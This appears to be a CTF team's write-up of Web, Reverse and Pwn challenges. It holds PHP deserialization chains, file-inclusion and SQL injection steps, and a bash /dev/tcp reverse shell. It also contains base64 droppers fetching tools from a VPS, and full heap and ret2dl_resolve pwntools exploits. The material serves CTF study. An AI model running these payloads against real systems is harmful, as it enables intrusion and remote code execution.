队伍:D0g3
Web
pop_master
就是找pop链子
<?php
include "class.php";
// $_GET['argv'];
$a = new RE1OMX();
$b = new i1hP7t();
$c = new zXCCeq();
$d = new mrh3g1();
$e = new ZZdOGI();
$f = new llXb4K();
$g = new YSLwLa();
$h = new pWbYui();
$i = new VRRnow();
$j = new EfGhMk();
$k = new F14Wdc();
$l = new skPn09();
$m = new o4pImn();
$n = new ZzeOOG();
$o = new gI55Lg();
$p = new VADeL8();
$q = new nrpCQU();
$r = new hl3aY9();
$s = new v9hArk();
$t = new YdtcqO();
$u = new TC6gGO();
$a->BygUQrE = $b;
$b->KgBLgdZ = $c;
$c->kHDgV8H = $d;
$d->HGD3u9K = $e;
$e->uDi7BnQ = $f;
$f->FDe36Ig = $g;
$g->evVcu96 = $h;
$h->GUCdYot = $i;
$i->mL2xGAo = $j;
$j->sqrYYeP = $k;
$k->xOYcGSr = $l;
$l->VHYeGXw = $m;
$m->gvYGwaB = $n;
$n->ONuahAZ = $o;
$o->W6uBBDs = $p;
$p->C24Rp7S = $q;
$q->qXmg5Al = $r;
$r->bwsbAbm = $s;
$s->ng7uu1P = $t;
$t->n8xdfBT = $u;
echo serialize($a);
?pop=O:6:"RE1OMX":1:{s:7:"BygUQrE";O:6:"i1hP7t":1:{s:7:"KgBLgdZ";O:6:"zXCCeq":1:{s:7:"kHDgV8H";O:6:"mrh3g1":1:{s:7:"HGD3u9K";O:6:"ZZdOGI":1:{s:7:"uDi7BnQ";O:6:"llXb4K":1:{s:7:"FDe36Ig";O:6:"YSLwLa":1:{s:7:"evVcu96";O:6:"pWbYui":1:{s:7:"GUCdYot";O:6:"VRRnow":1:{s:7:"mL2xGAo";O:6:"EfGhMk":1:{s:7:"sqrYYeP";O:6:"F14Wdc":1:{s:7:"xOYcGSr";O:6:"skPn09":1:{s:7:"VHYeGXw";O:6:"o4pImn":1:{s:7:"gvYGwaB";O:6:"ZzeOOG":1:{s:7:"ONuahAZ";O:6:"gI55Lg":1:{s:7:"W6uBBDs";O:6:"VADeL8":1:{s:7:"C24Rp7S";O:6:"nrpCQU":1:{s:7:"qXmg5Al";O:6:"hl3aY9":1:{s:7:"bwsbAbm";O:6:"v9hArk":1:{s:7:"ng7uu1P";O:6:"YdtcqO":1:{s:7:"n8xdfBT";O:6:"TC6gGO":1:{s:7:"Pxqk6ZO";N;}}}}}}}}}}}}}}}}}}}}}&argv=echo 1;?><?php system('cat /flag');?>
[强网先锋]赌徒
源代码
<?php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;//new Info()
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];//new Room();
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;//new Room()
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){//当脚本尝试将对象调用为函数时触发
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}
?>
exp.php
<?php
class Start{}
class Info{}
class Room{
public function __construct(){
$this->filename = "/flag";
}
}
$a = new Start();
$b = new Info();
$c = new Room();
$c->a = new Room();
$b->file['filename'] = $c;
$a->name = $b;
echo serialize($a);
?>
[强网先锋]寻宝
第二个key
开了windows
的预览直接搜就搜到了
Hard_Penetration
通过shiro打反弹shell.
获得端口
<?php
$url = 'http://127.0.0.1:8005/';
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$contents = curl_exec($ch);
curl_close($ch);
echo $contents;
?>
echo PD9waHAKJHVybCA9ICdodHRwOi8vMTI3LjAuMC4xOjgwMDUvaW5kZXgucGhwJzsKJGNoID0gY3VybF9pbml0KCk7CiR0aW1lb3V0ID0gNTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwokY29udGVudHMgPSBjdXJsX2V4ZWMoJGNoKTsKY3VybF9jbG9zZSgkY2gpOwplY2hvICRjb250ZW50czsKPz4=|base64 -d > test.php
<?php
set_time_limit (24 * 60 * 60);
$url="http://1.116.136.120/".urlencode(iconv("GB2312","UTF-8","lcx.c"));
echo $url."<br>";
$newfname = iconv("UTF-8","GB2312",urldecode(basename($url)));
echo $newfname;
$file = fopen ($url, "rb");
if ($file) {
$newf = fopen ($newfname, "wb");
if ($newf)
while(!feof($file)) {
fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
}
}
if ($file) {
fclose($file);
}
if ($newf) {
fclose($newf);
}
?>
echo PD9waHAKc2V0X3RpbWVfbGltaXQgKDI0ICogNjAgKiA2MCk7CiR1cmw9Imh0dHA6Ly8xLjExNi4xMzYuMTIwLyIudXJsZW5jb2RlKGljb252KCJHQjIzMTIiLCJVVEYtOCIsImxjeC5jIikpOwplY2hvICR1cmwuIjxicj4iOwokbmV3Zm5hbWUgPSBpY29udigiVVRGLTgiLCJHQjIzMTIiLHVybGRlY29kZShiYXNlbmFtZSgkdXJsKSkpOwplY2hvICRuZXdmbmFtZTsKJGZpbGUgPSBmb3BlbiAoJHVybCwgInJiIik7CmlmICgkZmlsZSkgewoJJG5ld2YgPSBmb3BlbiAoJG5ld2ZuYW1lLCAid2IiKTsKCWlmICgkbmV3ZikKCXdoaWxlKCFmZW9mKCRmaWxlKSkgewoJCWZ3cml0ZSgkbmV3ZiwgZnJlYWQoJGZpbGUsIDEwMjQgKiA4ICksIDEwMjQgKiA4ICk7Cgl9Cn0KaWYgKCRmaWxlKSB7CglmY2xvc2UoJGZpbGUpOwp9CmlmICgkbmV3ZikgewoJZmNsb3NlKCRuZXdmKTsKfQo/Pg==|base64 -d > lcx.php
gcc lcx.c -o lcx
靶机: ./lcx -m 3 -h1 1.116.136.120 -h2 127.0.0.1 -p1 81 -p2 8006
vps:./lcx -m 2 -p1 2333 -p2 8005
发现进行查看页面,发现是BAOCMS,直接github找源代码。然后seary代码审计。发现任意文件包含。
然后利用思路我们可以写入脚本在tmp目录下(构造好文件名)然后进行目录穿越来文件包含。
<?php system('cat /flag');?>
echo "PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg=="|base64 -d > /tmp/exp.barcode.php
直接
http://127.0.0.1:8005/Tudou/Lib/barcodegen/html/image.php?code=../../../../../../../../../../../../../../tmp/exp&t=1&r=1&rot=1&text=1&f1=1&f2=1&o=1&dpi=1&a1=1&a2=1
<?php
$url = 'http://127.0.0.1:8005/Tudou/Lib/barcodegen/html/image.php?code=../../../../../../../../../../../../../../tmp/exp&t=1&r=1&rot=1&text=1&f1=1&f2=1&o=1&dpi=1&a1=1&a2=1';
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$contents = curl_exec($ch);
curl_close($ch);
echo $contents;
?>
echo PD9waHAKJHVybCA9ICdodHRwOi8vMTI3LjAuMC4xOjgwMDUvVHVkb3UvTGliL2JhcmNvZGVnZW4vaHRtbC9pbWFnZS5waHA/Y29kZT0uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi90bXAvZXhwJnQ9MSZyPTEmcm90PTEmdGV4dD0xJmYxPTEmZjI9MSZvPTEmZHBpPTEmYTE9MSZhMj0xJzsKJGNoID0gY3VybF9pbml0KCk7CiR0aW1lb3V0ID0gNTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwokY29udGVudHMgPSBjdXJsX2V4ZWMoJGNoKTsKY3VybF9jbG9zZSgkY2gpOwplY2hvICRjb250ZW50czsKPz4=|base64 -d > exp.php
EasyWeb
然后访问files
扫端口发现一个后台http://47.104.137.239:36842/
,登录的地方没啥过滤直接报错注入。
登进去后台扫目录发现有个file
的路由能传文件,被easyssrf
给搞错方向了。
写了一个马,然后直接蚁剑弹shell
netstat
查看进程发现8006
端口是开放的。
curl
一下发现是jboss
然后各种代理挂出来都行,我这里直接公网上面起了个msf
然后portfd
给转发出来了。
然后后台getshell
就是部署war
包了,哥斯拉生成一个马,然后打包成压缩包
然后在我的云服务器上起一个python
的server
。
此时包已经部署上去了。
马也写上去了。
连上去直接cat
WhereIsUWebShell
<!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
<?php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){
setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{
include "function.php";
echo "I see your Cookie<br>";
$res = unserialize($_COOKIE['ctfer']);
if(preg_match('/myclass/i',serialize($res))){
throw new Exception("Error: Class 'myclass' not found ");
}
}
<?php
// myclass.php
class Hello{
public function __destruct()
{ if($this->qwb) echo file_get_contents($this->qwb);
}
}
?>
<?php
// function.php
function __autoload($classname){//__autoload(),尝试加载未定义的类
require_once "/var/www/html/$classname.php";
}
?>
我们反序列化去触发__autoload
的魔法方法去加载myclass.php,然后在销毁的时候触发__destruct
去读文件
<?php
class Hello{
public $qwb = "e2a7106f1cc8bb1e1318df70aa0a3540.php";
}
class myclass{
}
$a = new myclass();
$b = new Hello();
$a->exp=$b;
$a = serialize($a);
$a = str_replace('"myclass":1','"myclass":2',$a);
echo ($a)."\n";
echo urlencode($a)."\n";
然后读到全部的php代码。
然后思路就是上传临时文件,并且网站目录存在passwd,然后直接利用php://filter/string.strip_tags/resource=passwd造成空指针,浏览器异常。这样可以保存临时文件,然后在进行包含getshell.还有一个问题是照片木马。照片木马可以通过上次国赛在网上找的exp,直接打。
这里简单的说一下为什么要包含固定的照片格式。因为我们包含的文件在tmp下会进行png函数处理,在处理的过程会有数据失去,然后在将处理后的数据给写到$file。
然后写脚本。
# /usr/bin/python3
# @Author:Firebasky
# coding:utf-8
import requests
import re
url = "http://eci-2ze3rbnvegbbrt90dzvx.cloudeci1.ichunqiu.com/e2a7106f1cc8bb1e1318df70aa0a3540.php?"
files = {
'file': open("exp","rb+").read()
}
response1 = requests.post(url=url+"d5e9d6b6-33ed-4617-be5a-631bc491cff2=php://filter/string.strip_tags/resource=passwd",files=files)
response2 = requests.get(url=url+"29e845c5-7ed5-43ca-a1e7-7dd39e67e722=../../../../../../../../../../tmp")
a = re.findall("\[\d\] => php(.*)", response2.text)[0]#获得上传的临时文件
data = {
'1':'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
# /usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/84d74210/07a4c79a/698f57d6/23b08db3/a3d0683d/Fl444gggbc304131
}
response3 = requests.post(url=url+"0=system&d5e9d6b6-33ed-4617-be5a-631bc491cff2=../../../../../tmp/php"+a,data=data)
然后直接执行命令反弹shell,吐槽 flag非常难找。。。。。。。。。。。。。。。。。。。
最后命令:/usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/84d74210/07a4c79a/698f57d6/23b08db3/a3d0683d/Fl444gggbc304131
Re
ezmath
程序中应该故意给了错误数据,,
开始还写了一个ida动调脚本从0x2021跑到0x7f7f爆破,结果一个解都找不到。。。
虽然这题这样解不出来,还是贴一下写的动调的脚本吧(要修改原程序),,,
from ida_dbg import *
from ida_bytes import *
def init():
probase=FirstSeg()
breakpoint1=0x14D5+probase
rbp = get_reg_val("rbp")
set_reg_val("rip", breakpoint1)
patch_qword(rbp-0x44, 0)
i = 0x2021
while(True):
print(">>> i: %d"%i)
run_to(0x14F1+FirstSeg())
wait_for_next_event(WFNE_SUSP, -1)
set_reg_val("edi", i)
run_to(0x153B+FirstSeg())
wait_for_next_event(WFNE_SUSP, -1)
rax = get_reg_val("rax")
if rax != 1:
i += 1
init()
else:
print(">>> find: %d"%i)
break
exit_process()
然后分析程序,这其实是个数学题。。
程序在init用积分算了一个新的值改变了硬编码的0.2021,但这个新改的数据应该也是错的。。
求积分,公式推导。。
精度太高,我是穷举(0x2021-0x7f7f)来找最接近密文的值,这就多次复用了通过递推算出的积分。那就先统一算完写入文件。在读文件使用。
数据太多了,部分值:
0.000330409855750
0.000330369698985
0.000330329551981
0.000330289414732
0.000330249287236
0.000330209169490
0.000330169061489
0.000330128963230
0.000330088874709
0.000330048795924
0.000330008726870
0.000329968667544
0.000329928617942
0.000329888578061
0.000329848547897
读数据文件,穷举找最接近的值。
#include<stdio.h>
#include<stdlib.h>
#include<math.h>
double enc[] = {0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298, 0.00008468431512187874};
double minValue = 100.0;
int min_index;
char flag[100];
double data[0x7f7f-0x2021+1];
int main(void)
{
int i, j;
FILE *fp;
fp = fopen("data1", "rb");
for(i = 0x2021; i < 0x7f7f; i++)
{
fread(data+i-0x2021, sizeof(double), 1, fp);
//printf("%.15lf\n", data[i-0x2021]);
}
fclose(fp);
for (i = 0; i < 19; i++)
{
minValue = 100.0;
for(j = 0x2021; j < 0x7f7f; j++)
{
double ans = data[j-0x2021];
double ppp = ans>enc[i] ? ans-enc[i]:enc[i]-ans;
if(ppp < minValue)
{
minValue = ppp;
min_index = j;
//printf("%x: %.15lf, min_index:%x\n", j, minValue, min_index);
}
}
//printf("%.15lf\n", minValue);
flag[i*2] = min_index & 0xff;
flag[i*2 + 1] = (min_index >> 8)&0xff;
}
puts(flag);
return 0;
}
LongTimeAgo
计算len
sub_401DB0函数每8个一组进行bytes_to_long操作,且输入字符要为大写。
生成key和加密,加密函数为两种类型,xtea和tea,和异或操作。
如tea:
先异或解密得到(0xfd 0x1fd 0x3fd 0x7fd):
0x1f30678f, 0xb75b0dd4, 0x4a7cdb1e, 0x2877bc22, 0x1354c778, 0x357c3bc7, 0x738af391, 0x89b7f2ca
然后解密都稍微魔改了下的tea和xtea,动调从内存中找delat。
懒了,直接找网上的改下:
#include <stdio.h>
#include <stdint.h>
void decrypt1(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x70C88617, sum = 0xE6EF3D20;
for(i = 0; i < num_rounds; i++)
{
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum += delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0, v[1]=v1;
}
void decrypt2(uint32_t* v, uint32_t* k)
{
uint32_t v0 = v[0], v1 = v[1], sum = 0xa6a53780, i;
uint32_t delta = 0x3D3529BC;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i=0; i<32; i++)
{
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
}
v[0]=v0, v[1]=v1;
}
int main(void)
{
uint32_t v[2]={0x1f30678f,0xb75b0dd4};
uint32_t const k[4]={0xfffd,0x1fffd,0x3fffd,0x7fffd};
unsigned int r=32;
decrypt1(r, v, k);
//decrypt2(v, k)
printf("解密后的数据:%x %x\n",v[0],v[1]);
return 0;
}
最后注意解密的数据要大写,,,看了好久。。
StandOnTheGiants
关键就在native层的一个check函数。
一个rsa加密,有n和e,解还好,关键就是最后的换表base64有多个对应(+-有2个),这就有2^14种情况了。我还真就写了14个for循环,,,
最后爆出flag
import gmpy2
import base64
import copy
from Crypto.Util import number
base = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@+-"
enc = "bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG+/lmqEysrTdSD+eP+moP+l?+Np/oK="
ans = []
for i in enc:
if i != '=':
ans += [base.index(i)]
jia_ = [53, 62]
jian_ = [55, 63]
jia = []
jian = []
for i,s in enumerate(enc):
if s == '+':
jia += [i]
if s == '-':
jian += [i]
jia_ = [53, 62]
jian_ = [55, 63]
qqqq = 0
ans22 = [0]*14
ans_ = [[0]]
for a in range(2):
ans22[0] = jia_[a]
for b in range(2):
ans22[1] = jia_[b]
for c in range(2):
ans22[2] = jia_[c]
for d in range(2):
ans22[3] = jia_[d]
for e in range(2):
ans22[4] = jia_[e]
for f in range(2):
ans22[5] = jia_[f]
for g in range(2):
ans22[6] = jia_[g]
for h in range(2):
ans22[7] = jia_[h]
for i in range(2):
ans22[8] = jia_[i]
for j in range(2):
ans22[9] = jia_[j]
for k in range(2):
ans22[10] = jian_[k]
for l in range(2):
ans22[11] = jian_[l]
for m in range(2):
ans22[12] = jian_[m]
for n in range(2):
ans22[13] = jian_[n]
asd = copy.deepcopy(ans22)
ans_ += [asd]
p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367
e = 0x10001
#print(ans_[1])
for i in range(2**14):
for j in range(10):
ans[jia[j]] = ans_[i+1][j]
for j in range(4):
ans[jian[j]] = ans_[i+1][10+j]
sss = ''.join(['{:0>6}'.format(bin(o)[2:]) for o in ans])
flag = []
for s in range(len(sss)//8):
flag += [int(sss[8*s:8*(s+1)], 2)]
flag = bytes(flag)
#print(flag)
#c = int(flag.hex(),16)
c = number.bytes_to_long(flag)
#print(number.bytes_to_long(flag))
#print(c)
n = q*p
phi = (q-1) * (p-1)
d = gmpy2.invert(e, phi)
m = gmpy2.powmod(c, d, n)
www = number.long_to_bytes(m)
if b'flag' in www:
print(www)
Pwn
baby_diary
漏洞点
__int64 __fastcall sub_132B(__int64 a1, int a2, char a3)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i < a2; ++i )
{
if ( (int)read(0, (void *)(i + a1), 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
if ( a3 == *(_BYTE *)(i + a1) )
break;
}
*(_BYTE *)(i + a1) = 0; //设置最后一个至为0
return (unsigned int)i;
}
执行完编辑函数,可以修改最后一个字节的low_byte位
void __fastcall sub_1528(unsigned int idx, int n)
{
__int64 v2; // [rsp+10h] [rbp-8h]
if ( idx <= 0x18 && bufs[idx] )
{
v2 = bufs[idx];
flags[idx] = n;
if ( n )
*(_BYTE *)(n + 1LL + v2) = (*(_BYTE *)(n + 1LL + v2) & 0xF0) + sub_146E(idx); // n若为开辟内存大小的话,存在溢出, 修改低4位
}
}
然而sub_146E函数根据下面算法计算的,若大于0x0f的话,就不能构造结果为0,这有点坑。
__int64 __fastcall sub_146E(unsigned int a1)
{
int i; // [rsp+10h] [rbp-14h]
unsigned int v3; // [rsp+14h] [rbp-10h]
if ( a1 > 0x18 || !bufs[a1] )
return 0xFFFFFFFFLL;
v3 = 0;
for ( i = 0; i < flags[a1]; ++i )
v3 += *(unsigned __int8 *)(i + bufs[a1]);
while ( v3 > 0xF )
v3 = (v3 >> 4) + (v3 & 0xF);
return v3;
}
漏洞综述,程序有点恶心,最后字节用’\x00’截断,4bit位溢出。
glibc 2.31下绕过unlink,稍微有点难构造,加上本身程序逻辑,更难构造了,各种层层构造关联太强了,但最后还是找的了某些地址,成功构造利用链子,这需要控制很好的地址的值,比如实现unlink时,prev_size 要满足 0x100的倍数,不然不好设置我们unlink chunk size低3位为 0,还有构造unlink的fd->bk 指向自己本身,bk->fd指向自己本身,然而程序有点烦人的是最后一字节为’\x00’截断的,后面有4bit位溢出,这使得我们伪造chunk的fd必需要为0x100的整数倍才行。实现unlink之后就实现了堆重叠,泄漏Libc然后再修改__free_hook
为system函数,至于glibc 2.31下如何绕过unlink,它与2.29一样的,多了个 prev_size == chunk_size的检查,这就比较麻烦, 可以参考这篇博客:https://bbs.pediy.com/thread-257901-1.htm 。
下面是我重重构造,实现unlink的信息
0x5555dc297300 —▸ 0x5555dc297dd0 —▸ 0x7f8e6ac39ca0 (main_arena+96) ◂— 0x5555dc29730
exp
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
# ref: https://bbs.pediy.com/thread-257901-1.htm
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'
elf_path = './baby_diary'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'
# remote server ip and port
host = "8.140.114.72:1399"
# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def ad(sz, d):
sla('>>', '1')
sla(':', str(sz))
if(sz > 0):
sa(':', d)
def dp(idx):
sla('>>', '2')
sla(':', str(idx))
def rm(idx):
sla('>>', '3')
sla(':', str(idx))
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
for i in range(7): # 0-6
ad(0x1000, "padding\n")
#ad(0x1000-0x210 + 0x70 , "padding\n") # 7 glibc 2.29
ad(0x1000-0x210 + 0x70 -0x40, "padding\n") # 7 glibc 2.31
for i in range(7): # 8-14
ad(0x28, 't\n')
ad(0x1b20, "largebin\n") # 15
ad(0x20, "padding\n") # 16
rm(15)
ad(0x2000, '\n') # 15
ad(0x28, p64(0) + p64(0x601) + b'\n') # idx:17 get a chunk from largebin
ad(0x28, 'a\n') # 18
ad(0x28, 'b\n') # 19
ad(0x38 + 0x300, 'c\n') # 20
ad(0x28, 'd\n') # 21
ad(0x28, 'e\n') # 22 for not merge
# fill in tcache_entry[1](size: 0x30)
t = 9
for i in range(7): # 8-14
rm(8 + i)
rm(18) # t
rm(20)
rm(21)
# clear tcache_entry[1](size: 0x30)
for i in range(7): # 8-14
ad(0x28, '\n')
# fastbin to smallbin
ad(0x450, '\n') #18
# get a chunk from smallbin , another smallbin chunk to tcache
# 20, change fake chunk's fd->bk to point to fake chunk
ad(0x28, b'\x03' + b'\x00' * 7 + b'\n')
# clear chunk from tcache
ad(0x28, 'clear\n') # 21
for i in range(7): # 8-14
rm(8 + i)
# free to fastbin
rm(19)
rm(17)
for i in range(7): # 8-14
ad(0x28, '\n')
# change fake chunk's bk->fd
ad(0x28, b'\n') # 17
# Make house of einherjar
rm(18)
for i in range(6): # 8-14
rm(8 + i)
ad(0x170, '\n') # 8
ad(0x450, '\n') # 9
ad(0x60, '\n') # 10
rm(8)
ad(0x177, b'\x00' * 0x177) # 8
rm(8)
ad(0x177, (b'\x00' * 0x16f) + b'\x06' + b'\n') # 8
# unlink
rm(9)
# leak libc
ad(0x430, '\n') # 9
dp(22)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 96
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
li('libc_base: ' + hex(libc_base))
#ad(0x17, p64(free_hook) + b'\n')
for i in range(3):
ad(0x28, b'\n')
rm(20) #
rm(0) # for clean
rm(1) # for clean
ad(0x18, '/bin/sh\n')
rm(9) #
ad(0x430, b'A' * 0x400 + p64(free_hook) + p64(0) + b'\n')
ad(0x28, '\n')
ad(0x28, p64(system) + b'\n')
db()
rm(0)
# double free
#rm(0)
'''
rm(9)
ad(0x37, b'\x00' + b'\x00' * 0x30 + b'\x50' + b'\n')
'''
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
noout
没有打印函数,通过’\x00’字节绕过字符串比较
__sighandler_t sub_8049424()
{
__sighandler_t result; // eax
char src[32]; // [esp+Ch] [ebp-5Ch] BYREF
char buf[48]; // [esp+2Ch] [ebp-3Ch] BYREF
const char *v3; // [esp+5Ch] [ebp-Ch]
init_();
v3 = "tell me some thing";
read(0, buf, 0x30u);
v3 = "Tell me your name:\n";
read(0, src, 0x20u);
sub_80493EC(src);
strcpy(dest, src);
v3 = "now give you the flag\n";
read(unk_804C080, src, 0x10u);
result = (__sighandler_t)str_cmp(src, off_804C034);// 字符串比较
if ( !result )
result = sub_8049269();
return result;
}
再利用计算错误抛出SIGFPE信号使调用漏洞函数
__sighandler_t sub_8049269()
{
__sighandler_t result; // eax
void (*v1)(int); // [esp+0h] [ebp-18h] BYREF
int v2[2]; // [esp+4h] [ebp-14h] BYREF
const char *v3; // [esp+Ch] [ebp-Ch]
v3 = "give me the soul:";
__isoc99_scanf("%d", v2);
v3 = "give me the egg:";
__isoc99_scanf("%d", &v1);
result = v1;
if ( v1 )
{
signal(8, (__sighandler_t)vuln); // set handler
// SIGFPE 表示一个算数运算异常
v2[1] = v2[0] / (int)v1; // 使运算异常调用漏洞函数
result = signal(8, 0);
}
return result;
}
ssize_t vuln()
{
char buf[68]; // [esp+0h] [ebp-48h] BYREF
return read(0, buf, 0x100u); // stack overflow
}
漏洞函数中就是简单的堆栈溢出了,采用dl_runtime_resolve攻击。
exp
#!/usr/bin/env python2
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
from roputils import ROP
import os
# roputils: https://github.com/inaz2/roputils/blob/master/roputils.py
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'
elf_path = './test'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'
# remote server ip and port
host = "39.105.138.97:1234"
# if local debug
LOCAL = 0
LIBC = 0
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
s('\x00' * 0x30)
#db()
# make calc error
s('\x00' * 0x20)
sl(str(-0xcccccccc))
#db()
sl(str(-1))
# vuln, stack overflow
rop = ROP(elf_path)
buf = elf.bss()
pop3 = 0x08049581
p = b'\x00' * 0x4C
p += p32(elf.sym['read'])
p += p32(pop3)
p += p32(0)
p += p32(buf)
p += p32(0x80)
p += rop.dl_resolve_call(buf + 0x10, buf, 0, 0) # call, args
sleep(0.5)
s(p)
# dl resolve data
p = '/bin/sh\x00'.ljust(0x10, '\x00')
p += rop.dl_resolve_data(buf + 0x10, 'execve')
p = p.ljust(0x80, '\x00')
sleep(1)
sl(p)
#sleep(0.1)
#sl(p)
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
orw
一个伪heap题,开启了沙箱,编辑和打印功能没有,只能开辟两次堆,释放一次,没办法进行堆操作。
存在个index 负数溢出,可以实现修改got表,为堆地址。
__int64 sub_E44()
{
int idx; // [rsp+0h] [rbp-10h]
int size; // [rsp+4h] [rbp-Ch]
if ( add_nums <= 1 )
{
puts("index:");
idx = inputn();
puts("size:");
size = inputn();
if ( size >= 0 && size <= 8 && idx <= 1 ) // index overflow
{
bufs[idx] = malloc(size);
if ( !bufs[idx] )
{
puts("error");
exit(0);
}
puts("content:");
readn((_BYTE *)bufs[idx], size);
++add_nums;
}
}
return add_nums;
}
查看程序架构
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
checksec发现存在rwx段,但发现是stack上的,想了半天没想通如何跳到堆栈那里去。
